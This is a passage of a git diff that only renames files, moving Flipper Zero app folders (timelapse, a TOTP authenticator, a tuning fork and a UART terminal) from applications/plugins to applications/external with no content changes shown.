100% rename from applications/plugins/timelapse/gpio_item.c rename to applications/external/timelapse/gpio_item.c diff --git a/applications/plugins/timelapse/gpio_item.h b/applications/external/timelapse/gpio_item.h similarity index 100% rename from applications/plugins/timelapse/gpio_item.h rename to applications/external/timelapse/gpio_item.h diff --git a/applications/plugins/timelapse/icons/ButtonDown_7x4.png b/applications/external/timelapse/icons/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonDown_7x4.png rename to applications/external/timelapse/icons/ButtonDown_7x4.png diff --git a/applications/plugins/timelapse/icons/ButtonLeft_4x7.png b/applications/external/timelapse/icons/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonLeft_4x7.png rename to applications/external/timelapse/icons/ButtonLeft_4x7.png diff --git a/applications/plugins/timelapse/icons/ButtonRight_4x7.png b/applications/external/timelapse/icons/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonRight_4x7.png rename to applications/external/timelapse/icons/ButtonRight_4x7.png diff --git a/applications/plugins/timelapse/icons/ButtonUp_7x4.png b/applications/external/timelapse/icons/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonUp_7x4.png rename to applications/external/timelapse/icons/ButtonUp_7x4.png diff --git a/applications/plugins/timelapse/icons/Pin_star_7x7.png b/applications/external/timelapse/icons/Pin_star_7x7.png similarity index 100% rename from applications/plugins/timelapse/icons/Pin_star_7x7.png rename to applications/external/timelapse/icons/Pin_star_7x7.png diff --git a/applications/plugins/timelapse/icons/loading_10px.png b/applications/external/timelapse/icons/loading_10px.png similarity index 100% rename from applications/plugins/timelapse/icons/loading_10px.png rename to applications/external/timelapse/icons/loading_10px.png diff --git a/applications/plugins/timelapse/zeitraffer.c b/applications/external/timelapse/zeitraffer.c similarity index 100% rename from applications/plugins/timelapse/zeitraffer.c rename to applications/external/timelapse/zeitraffer.c diff --git a/applications/plugins/timelapse/zeitraffer.png b/applications/external/timelapse/zeitraffer.png similarity index 100% rename from applications/plugins/timelapse/zeitraffer.png rename to applications/external/timelapse/zeitraffer.png diff --git a/applications/plugins/totp/LICENSE b/applications/external/totp/LICENSE similarity index 100% rename from applications/plugins/totp/LICENSE rename to applications/external/totp/LICENSE diff --git a/applications/plugins/totp/application.fam b/applications/external/totp/application.fam similarity index 100% rename from applications/plugins/totp/application.fam rename to applications/external/totp/application.fam diff --git a/applications/plugins/totp/cli/cli.c b/applications/external/totp/cli/cli.c similarity index 100% rename from applications/plugins/totp/cli/cli.c rename to applications/external/totp/cli/cli.c diff --git a/applications/plugins/totp/cli/cli.h b/applications/external/totp/cli/cli.h similarity index 100% rename from applications/plugins/totp/cli/cli.h rename to applications/external/totp/cli/cli.h diff --git a/applications/plugins/totp/cli/cli_helpers.c b/applications/external/totp/cli/cli_helpers.c similarity index 100% rename from applications/plugins/totp/cli/cli_helpers.c rename to applications/external/totp/cli/cli_helpers.c diff --git a/applications/plugins/totp/cli/cli_helpers.h b/applications/external/totp/cli/cli_helpers.h similarity index 100% rename from applications/plugins/totp/cli/cli_helpers.h rename to applications/external/totp/cli/cli_helpers.h diff --git a/applications/plugins/totp/cli/commands/add/add.c b/applications/external/totp/cli/commands/add/add.c similarity index 100% rename from applications/plugins/totp/cli/commands/add/add.c rename to applications/external/totp/cli/commands/add/add.c diff --git a/applications/plugins/totp/cli/commands/add/add.h b/applications/external/totp/cli/commands/add/add.h similarity index 100% rename from applications/plugins/totp/cli/commands/add/add.h rename to applications/external/totp/cli/commands/add/add.h diff --git a/applications/plugins/totp/cli/commands/delete/delete.c b/applications/external/totp/cli/commands/delete/delete.c similarity index 100% rename from applications/plugins/totp/cli/commands/delete/delete.c rename to applications/external/totp/cli/commands/delete/delete.c diff --git a/applications/plugins/totp/cli/commands/delete/delete.h b/applications/external/totp/cli/commands/delete/delete.h similarity index 100% rename from applications/plugins/totp/cli/commands/delete/delete.h rename to applications/external/totp/cli/commands/delete/delete.h diff --git a/applications/plugins/totp/cli/commands/help/help.c b/applications/external/totp/cli/commands/help/help.c similarity index 100% rename from applications/plugins/totp/cli/commands/help/help.c rename to applications/external/totp/cli/commands/help/help.c diff --git a/applications/plugins/totp/cli/commands/help/help.h b/applications/external/totp/cli/commands/help/help.h similarity index 100% rename from applications/plugins/totp/cli/commands/help/help.h rename to applications/external/totp/cli/commands/help/help.h diff --git a/applications/plugins/totp/cli/commands/list/list.c b/applications/external/totp/cli/commands/list/list.c similarity index 100% rename from applications/plugins/totp/cli/commands/list/list.c rename to applications/external/totp/cli/commands/list/list.c diff --git a/applications/plugins/totp/cli/commands/list/list.h b/applications/external/totp/cli/commands/list/list.h similarity index 100% rename from applications/plugins/totp/cli/commands/list/list.h rename to applications/external/totp/cli/commands/list/list.h diff --git a/applications/plugins/totp/cli/commands/move/move.c b/applications/external/totp/cli/commands/move/move.c similarity index 100% rename from applications/plugins/totp/cli/commands/move/move.c rename to applications/external/totp/cli/commands/move/move.c diff --git a/applications/plugins/totp/cli/commands/move/move.h b/applications/external/totp/cli/commands/move/move.h similarity index 100% rename from applications/plugins/totp/cli/commands/move/move.h rename to applications/external/totp/cli/commands/move/move.h diff --git a/applications/plugins/totp/cli/commands/notification/notification.c b/applications/external/totp/cli/commands/notification/notification.c similarity index 100% rename from applications/plugins/totp/cli/commands/notification/notification.c rename to applications/external/totp/cli/commands/notification/notification.c diff --git a/applications/plugins/totp/cli/commands/notification/notification.h b/applications/external/totp/cli/commands/notification/notification.h similarity index 100% rename from applications/plugins/totp/cli/commands/notification/notification.h rename to applications/external/totp/cli/commands/notification/notification.h diff --git a/applications/plugins/totp/cli/commands/pin/pin.c b/applications/external/totp/cli/commands/pin/pin.c similarity index 100% rename from applications/plugins/totp/cli/commands/pin/pin.c rename to applications/external/totp/cli/commands/pin/pin.c diff --git a/applications/plugins/totp/cli/commands/pin/pin.h b/applications/external/totp/cli/commands/pin/pin.h similarity index 100% rename from applications/plugins/totp/cli/commands/pin/pin.h rename to applications/external/totp/cli/commands/pin/pin.h diff --git a/applications/plugins/totp/cli/commands/reset/reset.c b/applications/external/totp/cli/commands/reset/reset.c similarity index 100% rename from applications/plugins/totp/cli/commands/reset/reset.c rename to applications/external/totp/cli/commands/reset/reset.c diff --git a/applications/plugins/totp/cli/commands/reset/reset.h b/applications/external/totp/cli/commands/reset/reset.h similarity index 100% rename from applications/plugins/totp/cli/commands/reset/reset.h rename to applications/external/totp/cli/commands/reset/reset.h diff --git a/applications/plugins/totp/cli/commands/timezone/timezone.c b/applications/external/totp/cli/commands/timezone/timezone.c similarity index 100% rename from applications/plugins/totp/cli/commands/timezone/timezone.c rename to applications/external/totp/cli/commands/timezone/timezone.c diff --git a/applications/plugins/totp/cli/commands/timezone/timezone.h b/applications/external/totp/cli/commands/timezone/timezone.h similarity index 100% rename from applications/plugins/totp/cli/commands/timezone/timezone.h rename to applications/external/totp/cli/commands/timezone/timezone.h diff --git a/applications/plugins/totp/images/DolphinCommon_56x48.png b/applications/external/totp/images/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/totp/images/DolphinCommon_56x48.png rename to applications/external/totp/images/DolphinCommon_56x48.png diff --git a/applications/plugins/totp/images/totp_arrow_bottom_10x5.png b/applications/external/totp/images/totp_arrow_bottom_10x5.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_bottom_10x5.png rename to applications/external/totp/images/totp_arrow_bottom_10x5.png diff --git a/applications/plugins/totp/images/totp_arrow_left_8x9.png b/applications/external/totp/images/totp_arrow_left_8x9.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_left_8x9.png rename to applications/external/totp/images/totp_arrow_left_8x9.png diff --git a/applications/plugins/totp/images/totp_arrow_right_8x9.png b/applications/external/totp/images/totp_arrow_right_8x9.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_right_8x9.png rename to applications/external/totp/images/totp_arrow_right_8x9.png diff --git a/applications/plugins/totp/lib/base32/base32.c b/applications/external/totp/lib/base32/base32.c similarity index 100% rename from applications/plugins/totp/lib/base32/base32.c rename to applications/external/totp/lib/base32/base32.c diff --git a/applications/plugins/totp/lib/base32/base32.h b/applications/external/totp/lib/base32/base32.h similarity index 100% rename from applications/plugins/totp/lib/base32/base32.h rename to applications/external/totp/lib/base32/base32.h diff --git a/applications/plugins/totp/lib/list/list.c b/applications/external/totp/lib/list/list.c similarity index 100% rename from applications/plugins/totp/lib/list/list.c rename to applications/external/totp/lib/list/list.c diff --git a/applications/plugins/totp/lib/list/list.h b/applications/external/totp/lib/list/list.h similarity index 100% rename from applications/plugins/totp/lib/list/list.h rename to applications/external/totp/lib/list/list.h diff --git a/applications/plugins/totp/lib/polyfills/memset_s.c b/applications/external/totp/lib/polyfills/memset_s.c similarity index 100% rename from applications/plugins/totp/lib/polyfills/memset_s.c rename to applications/external/totp/lib/polyfills/memset_s.c diff --git a/applications/plugins/totp/lib/polyfills/memset_s.h b/applications/external/totp/lib/polyfills/memset_s.h similarity index 100% rename from applications/plugins/totp/lib/polyfills/memset_s.h rename to applications/external/totp/lib/polyfills/memset_s.h diff --git a/applications/plugins/totp/lib/polyfills/strnlen.c b/applications/external/totp/lib/polyfills/strnlen.c similarity index 100% rename from applications/plugins/totp/lib/polyfills/strnlen.c rename to applications/external/totp/lib/polyfills/strnlen.c diff --git a/applications/plugins/totp/lib/polyfills/strnlen.h b/applications/external/totp/lib/polyfills/strnlen.h similarity index 100% rename from applications/plugins/totp/lib/polyfills/strnlen.h rename to applications/external/totp/lib/polyfills/strnlen.h diff --git a/applications/plugins/totp/lib/roll_value/roll_value.c b/applications/external/totp/lib/roll_value/roll_value.c similarity index 100% rename from applications/plugins/totp/lib/roll_value/roll_value.c rename to applications/external/totp/lib/roll_value/roll_value.c diff --git a/applications/plugins/totp/lib/roll_value/roll_value.h b/applications/external/totp/lib/roll_value/roll_value.h similarity index 100% rename from applications/plugins/totp/lib/roll_value/roll_value.h rename to applications/external/totp/lib/roll_value/roll_value.h diff --git a/applications/plugins/totp/lib/timezone_utils/timezone_utils.c b/applications/external/totp/lib/timezone_utils/timezone_utils.c similarity index 100% rename from applications/plugins/totp/lib/timezone_utils/timezone_utils.c rename to applications/external/totp/lib/timezone_utils/timezone_utils.c diff --git a/applications/plugins/totp/lib/timezone_utils/timezone_utils.h b/applications/external/totp/lib/timezone_utils/timezone_utils.h similarity index 100% rename from applications/plugins/totp/lib/timezone_utils/timezone_utils.h rename to applications/external/totp/lib/timezone_utils/timezone_utils.h diff --git a/applications/plugins/totp/services/config/config.c b/applications/external/totp/services/config/config.c similarity index 100% rename from applications/plugins/totp/services/config/config.c rename to applications/external/totp/services/config/config.c diff --git a/applications/plugins/totp/services/config/config.h b/applications/external/totp/services/config/config.h similarity index 100% rename from applications/plugins/totp/services/config/config.h rename to applications/external/totp/services/config/config.h diff --git a/applications/plugins/totp/services/config/constants.h b/applications/external/totp/services/config/constants.h similarity index 100% rename from applications/plugins/totp/services/config/constants.h rename to applications/external/totp/services/config/constants.h diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.c b/applications/external/totp/services/config/migrations/config_migration_v1_to_v2.c similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.c rename to applications/external/totp/services/config/migrations/config_migration_v1_to_v2.c diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.h b/applications/external/totp/services/config/migrations/config_migration_v1_to_v2.h similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.h rename to applications/external/totp/services/config/migrations/config_migration_v1_to_v2.h diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.c b/applications/external/totp/services/config/migrations/config_migration_v2_to_v3.c similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.c rename to applications/external/totp/services/config/migrations/config_migration_v2_to_v3.c diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.h b/applications/external/totp/services/config/migrations/config_migration_v2_to_v3.h similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.h rename to applications/external/totp/services/config/migrations/config_migration_v2_to_v3.h diff --git a/applications/plugins/totp/services/convert/convert.h b/applications/external/totp/services/convert/convert.h similarity index 100% rename from applications/plugins/totp/services/convert/convert.h rename to applications/external/totp/services/convert/convert.h diff --git a/applications/plugins/totp/services/crypto/crypto.c b/applications/external/totp/services/crypto/crypto.c similarity index 100% rename from applications/plugins/totp/services/crypto/crypto.c rename to applications/external/totp/services/crypto/crypto.c diff --git a/applications/plugins/totp/services/crypto/crypto.h b/applications/external/totp/services/crypto/crypto.h similarity index 100% rename from applications/plugins/totp/services/crypto/crypto.h rename to applications/external/totp/services/crypto/crypto.h diff --git a/applications/plugins/totp/services/hmac/byteswap.c b/applications/external/totp/services/hmac/byteswap.c similarity index 100% rename from applications/plugins/totp/services/hmac/byteswap.c rename to applications/external/totp/services/hmac/byteswap.c diff --git a/applications/plugins/totp/services/hmac/byteswap.h b/applications/external/totp/services/hmac/byteswap.h similarity index 100% rename from applications/plugins/totp/services/hmac/byteswap.h rename to applications/external/totp/services/hmac/byteswap.h diff --git a/applications/plugins/totp/services/hmac/hmac_common.h b/applications/external/totp/services/hmac/hmac_common.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_common.h rename to applications/external/totp/services/hmac/hmac_common.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha1.c b/applications/external/totp/services/hmac/hmac_sha1.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha1.c rename to applications/external/totp/services/hmac/hmac_sha1.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha1.h b/applications/external/totp/services/hmac/hmac_sha1.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha1.h rename to applications/external/totp/services/hmac/hmac_sha1.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha256.c b/applications/external/totp/services/hmac/hmac_sha256.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha256.c rename to applications/external/totp/services/hmac/hmac_sha256.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha256.h b/applications/external/totp/services/hmac/hmac_sha256.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha256.h rename to applications/external/totp/services/hmac/hmac_sha256.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha512.c b/applications/external/totp/services/hmac/hmac_sha512.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha512.c rename to applications/external/totp/services/hmac/hmac_sha512.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha512.h b/applications/external/totp/services/hmac/hmac_sha512.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha512.h rename to applications/external/totp/services/hmac/hmac_sha512.h diff --git a/applications/plugins/totp/services/hmac/memxor.c b/applications/external/totp/services/hmac/memxor.c similarity index 100% rename from applications/plugins/totp/services/hmac/memxor.c rename to applications/external/totp/services/hmac/memxor.c diff --git a/applications/plugins/totp/services/hmac/memxor.h b/applications/external/totp/services/hmac/memxor.h similarity index 100% rename from applications/plugins/totp/services/hmac/memxor.h rename to applications/external/totp/services/hmac/memxor.h diff --git a/applications/plugins/totp/services/hmac/sha1.c b/applications/external/totp/services/hmac/sha1.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha1.c rename to applications/external/totp/services/hmac/sha1.c diff --git a/applications/plugins/totp/services/hmac/sha1.h b/applications/external/totp/services/hmac/sha1.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha1.h rename to applications/external/totp/services/hmac/sha1.h diff --git a/applications/plugins/totp/services/hmac/sha256.c b/applications/external/totp/services/hmac/sha256.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha256.c rename to applications/external/totp/services/hmac/sha256.c diff --git a/applications/plugins/totp/services/hmac/sha256.h b/applications/external/totp/services/hmac/sha256.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha256.h rename to applications/external/totp/services/hmac/sha256.h diff --git a/applications/plugins/totp/services/hmac/sha512.c b/applications/external/totp/services/hmac/sha512.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha512.c rename to applications/external/totp/services/hmac/sha512.c diff --git a/applications/plugins/totp/services/hmac/sha512.h b/applications/external/totp/services/hmac/sha512.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha512.h rename to applications/external/totp/services/hmac/sha512.h diff --git a/applications/plugins/totp/services/hmac/u64.h b/applications/external/totp/services/hmac/u64.h similarity index 100% rename from applications/plugins/totp/services/hmac/u64.h rename to applications/external/totp/services/hmac/u64.h diff --git a/applications/plugins/totp/services/totp/totp.c b/applications/external/totp/services/totp/totp.c similarity index 100% rename from applications/plugins/totp/services/totp/totp.c rename to applications/external/totp/services/totp/totp.c diff --git a/applications/plugins/totp/services/totp/totp.h b/applications/external/totp/services/totp/totp.h similarity index 100% rename from applications/plugins/totp/services/totp/totp.h rename to applications/external/totp/services/totp/totp.h diff --git a/applications/plugins/totp/totp_10px.png b/applications/external/totp/totp_10px.png similarity index 100% rename from applications/plugins/totp/totp_10px.png rename to applications/external/totp/totp_10px.png diff --git a/applications/plugins/totp/totp_app.c b/applications/external/totp/totp_app.c similarity index 100% rename from applications/plugins/totp/totp_app.c rename to applications/external/totp/totp_app.c diff --git a/applications/plugins/totp/types/common.h b/applications/external/totp/types/common.h similarity index 100% rename from applications/plugins/totp/types/common.h rename to applications/external/totp/types/common.h diff --git a/applications/plugins/totp/types/event_type.h b/applications/external/totp/types/event_type.h similarity index 100% rename from applications/plugins/totp/types/event_type.h rename to applications/external/totp/types/event_type.h diff --git a/applications/plugins/totp/types/notification_method.h b/applications/external/totp/types/notification_method.h similarity index 100% rename from applications/plugins/totp/types/notification_method.h rename to applications/external/totp/types/notification_method.h diff --git a/applications/plugins/totp/types/nullable.h b/applications/external/totp/types/nullable.h similarity index 100% rename from applications/plugins/totp/types/nullable.h rename to applications/external/totp/types/nullable.h diff --git a/applications/plugins/totp/types/plugin_event.h b/applications/external/totp/types/plugin_event.h similarity index 100% rename from applications/plugins/totp/types/plugin_event.h rename to applications/external/totp/types/plugin_event.h diff --git a/applications/plugins/totp/types/plugin_state.h b/applications/external/totp/types/plugin_state.h similarity index 100% rename from applications/plugins/totp/types/plugin_state.h rename to applications/external/totp/types/plugin_state.h diff --git a/applications/plugins/totp/types/token_info.c b/applications/external/totp/types/token_info.c similarity index 100% rename from applications/plugins/totp/types/token_info.c rename to applications/external/totp/types/token_info.c diff --git a/applications/plugins/totp/types/token_info.h b/applications/external/totp/types/token_info.h similarity index 100% rename from applications/plugins/totp/types/token_info.h rename to applications/external/totp/types/token_info.h diff --git a/applications/plugins/totp/types/user_pin_codes.h b/applications/external/totp/types/user_pin_codes.h similarity index 100% rename from applications/plugins/totp/types/user_pin_codes.h rename to applications/external/totp/types/user_pin_codes.h diff --git a/applications/plugins/totp/ui/common_dialogs.c b/applications/external/totp/ui/common_dialogs.c similarity index 100% rename from applications/plugins/totp/ui/common_dialogs.c rename to applications/external/totp/ui/common_dialogs.c diff --git a/applications/plugins/totp/ui/common_dialogs.h b/applications/external/totp/ui/common_dialogs.h similarity index 100% rename from applications/plugins/totp/ui/common_dialogs.h rename to applications/external/totp/ui/common_dialogs.h diff --git a/applications/plugins/totp/ui/constants.h b/applications/external/totp/ui/constants.h similarity index 100% rename from applications/plugins/totp/ui/constants.h rename to applications/external/totp/ui/constants.h diff --git a/applications/plugins/totp/ui/scene_director.c b/applications/external/totp/ui/scene_director.c similarity index 100% rename from applications/plugins/totp/ui/scene_director.c rename to applications/external/totp/ui/scene_director.c diff --git a/applications/plugins/totp/ui/scene_director.h b/applications/external/totp/ui/scene_director.h similarity index 100% rename from applications/plugins/totp/ui/scene_director.h rename to applications/external/totp/ui/scene_director.h diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.c b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.c rename to applications/external/totp/ui/scenes/add_new_token/totp_input_text.c diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.h b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.h rename to applications/external/totp/ui/scenes/add_new_token/totp_input_text.h diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c rename to applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h rename to applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h diff --git a/applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c similarity index 100% rename from applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.c rename to applications/external/totp/ui/scenes/app_settings/totp_app_settings.c diff --git a/applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.h b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h similarity index 100% rename from applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.h rename to applications/external/totp/ui/scenes/app_settings/totp_app_settings.h diff --git a/applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.c b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c similarity index 100% rename from applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.c rename to applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c diff --git a/applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.h b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h similarity index 100% rename from applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.h rename to applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h diff --git a/applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c similarity index 100% rename from applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.c rename to applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c diff --git a/applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.h b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h similarity index 100% rename from applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.h rename to applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h diff --git a/applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.c b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c similarity index 100% rename from applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.c rename to applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c diff --git a/applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.h b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h similarity index 100% rename from applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.h rename to applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h diff --git a/applications/plugins/totp/ui/totp_scenes_enum.h b/applications/external/totp/ui/totp_scenes_enum.h similarity index 100% rename from applications/plugins/totp/ui/totp_scenes_enum.h rename to applications/external/totp/ui/totp_scenes_enum.h diff --git a/applications/plugins/totp/ui/ui_controls.c b/applications/external/totp/ui/ui_controls.c similarity index 100% rename from applications/plugins/totp/ui/ui_controls.c rename to applications/external/totp/ui/ui_controls.c diff --git a/applications/plugins/totp/ui/ui_controls.h b/applications/external/totp/ui/ui_controls.h similarity index 100% rename from applications/plugins/totp/ui/ui_controls.h rename to applications/external/totp/ui/ui_controls.h diff --git a/applications/plugins/totp/workers/type_code/type_code.c b/applications/external/totp/workers/type_code/type_code.c similarity index 100% rename from applications/plugins/totp/workers/type_code/type_code.c rename to applications/external/totp/workers/type_code/type_code.c diff --git a/applications/plugins/totp/workers/type_code/type_code.h b/applications/external/totp/workers/type_code/type_code.h similarity index 100% rename from applications/plugins/totp/workers/type_code/type_code.h rename to applications/external/totp/workers/type_code/type_code.h diff --git a/applications/plugins/tuning_fork/LICENSE b/applications/external/tuning_fork/LICENSE similarity index 100% rename from applications/plugins/tuning_fork/LICENSE rename to applications/external/tuning_fork/LICENSE diff --git a/applications/plugins/tuning_fork/README.md b/applications/external/tuning_fork/README.md similarity index 100% rename from applications/plugins/tuning_fork/README.md rename to applications/external/tuning_fork/README.md diff --git a/applications/plugins/tuning_fork/application.fam b/applications/external/tuning_fork/application.fam similarity index 100% rename from applications/plugins/tuning_fork/application.fam rename to applications/external/tuning_fork/application.fam diff --git a/applications/plugins/tuning_fork/img/screenshot_1.png b/applications/external/tuning_fork/img/screenshot_1.png similarity index 100% rename from applications/plugins/tuning_fork/img/screenshot_1.png rename to applications/external/tuning_fork/img/screenshot_1.png diff --git a/applications/plugins/tuning_fork/img/screenshot_2.png b/applications/external/tuning_fork/img/screenshot_2.png similarity index 100% rename from applications/plugins/tuning_fork/img/screenshot_2.png rename to applications/external/tuning_fork/img/screenshot_2.png diff --git a/applications/plugins/tuning_fork/img/tuning_fork.gif b/applications/external/tuning_fork/img/tuning_fork.gif similarity index 100% rename from applications/plugins/tuning_fork/img/tuning_fork.gif rename to applications/external/tuning_fork/img/tuning_fork.gif diff --git a/applications/plugins/tuning_fork/notes.h b/applications/external/tuning_fork/notes.h similarity index 100% rename from applications/plugins/tuning_fork/notes.h rename to applications/external/tuning_fork/notes.h diff --git a/applications/plugins/tuning_fork/tuning_fork.c b/applications/external/tuning_fork/tuning_fork.c similarity index 100% rename from applications/plugins/tuning_fork/tuning_fork.c rename to applications/external/tuning_fork/tuning_fork.c diff --git a/applications/plugins/tuning_fork/tuning_fork_icon.png b/applications/external/tuning_fork/tuning_fork_icon.png similarity index 100% rename from applications/plugins/tuning_fork/tuning_fork_icon.png rename to applications/external/tuning_fork/tuning_fork_icon.png diff --git a/applications/plugins/tuning_fork/tunings.h b/applications/external/tuning_fork/tunings.h similarity index 100% rename from applications/plugins/tuning_fork/tunings.h rename to applications/external/tuning_fork/tunings.h diff --git a/applications/plugins/uart_terminal/LICENSE b/applications/external/uart_terminal/LICENSE similarity index 100% rename from applications/plugins/uart_terminal/LICENSE rename to applications/external/uart_terminal/LICENSE diff --git a/applications/plugins/uart_terminal/README.md b/applications/external/uart_terminal/README.md similarity index 100% rename from applications/plugins/uart_terminal/README.md rename to applications/external/uart_terminal/README.md diff --git a/applications/plugins/uart_terminal/application.fam b/applications/external/uart_terminal/application.fam similarity index 100% rename from applications/plugins/uart_terminal/application.fam rename to applications/external/uart_terminal/application.fam diff --git a/applications/plugins/uart_terminal/assets/KeyBackspaceSelected_16x9.png b/applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeyBackspaceSelected_16x9.png rename to applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png diff --git a/applications/plugins/uart_terminal/assets/KeyBackspace_16x9.png b/applications/external/uart_terminal/assets/KeyBackspace_16x9.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeyBackspace_16x9.png rename to applications/external/uart_terminal/assets/KeyBackspace_16x9.png diff --git a/applications/plugins/uart_terminal/assets/KeySaveSelected_24x11.png b/applications/external/uart_terminal/assets/KeySaveSelected_24x11.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeySaveSelected_24x11.png rename to applications/external/uart_terminal/assets/KeySaveSelected_24x11.png diff --git a/applications/plugins/uart_terminal/assets/KeySave_24x11.png b/applications/external/uart_terminal/assets/KeySave_24x11.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeySave_24x11.png rename to applications/external/uart_terminal/assets/KeySave_24x11.png diff --git a/applications/plugins/uart_terminal/assets/WarningDolphin_45x42.png b/applications/external/uart_terminal/assets/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/uart_terminal/assets/WarningDolphin_45x42.png rename to applications/external/uart_terminal/assets/WarningDolphin_45x42.png diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene.c b/applications/external/uart_terminal/scenes/uart_terminal_scene.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene.h b/applications/external/uart_terminal/scenes/uart_terminal_scene.h similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene.h rename to applications/external/uart_terminal/scenes/uart_terminal_scene.h diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_config.h b/applications/external/uart_terminal/scenes/uart_terminal_scene_config.h similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_config.h rename to applications/external/uart_terminal/scenes/uart_terminal_scene_config.h diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_console_output.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_console_output.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_start.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_start.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_start.c diff --git 